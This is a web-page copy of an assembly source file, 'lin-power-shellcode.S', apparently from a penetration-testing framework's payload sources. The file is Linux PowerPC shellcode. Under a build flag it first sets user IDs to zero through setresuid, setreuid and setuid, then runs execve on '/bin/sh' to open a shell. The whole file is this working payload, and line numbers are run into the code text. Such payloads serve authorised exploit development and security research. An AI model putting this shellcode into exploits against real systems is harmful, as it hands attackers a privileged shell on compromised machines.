Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/lin-power-shellcode.S
Views: 11765
/*1* lin-power-shellcode.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920#include "linux-power.h"2122.globl main2324main:2526#ifdef ALL27setresuidcode:28lil %r31,__CAL29xor %r5,%r5,%r530xor %r4,%r4,%r431xor %r3,%r3,%r332cal %r0,__NC_setresuid(%r31)33.long 0x44ffff023435setreuidcode:36lil %r31,__CAL37xor %r4,%r4,%r438xor %r3,%r3,%r339cal %r0,__NC_setreuid(%r31)40.long 0x44ffff024142setuidcode:43lil %r31,__CAL44xor %r3,%r3,%r345cal %r0,__NC_setuid(%r31)46.long 0x44ffff024748#endif4950shellcode:51lil %r31,__CAL52xor. %r5,%r5,%r553bnel shellcode54mflr %r3055cal %r30,511(%r30)56cal %r3,-511+36(%r30)57stb %r5,-511+43(%r30)58stu %r5,-4(%r1)59stu %r3,-4(%r1)60mr %r4,%r161cal %r0,__NC_execve(%r31)62.long 0x44ffff0263.asciz "/bin/sh"6465#ifdef ALL66exitcode:67lil %r31,__CAL68xor %r3,%r3,%r369cal %r0,__NC_exit(%r31)70.long 0x44ffff027172#endif73747576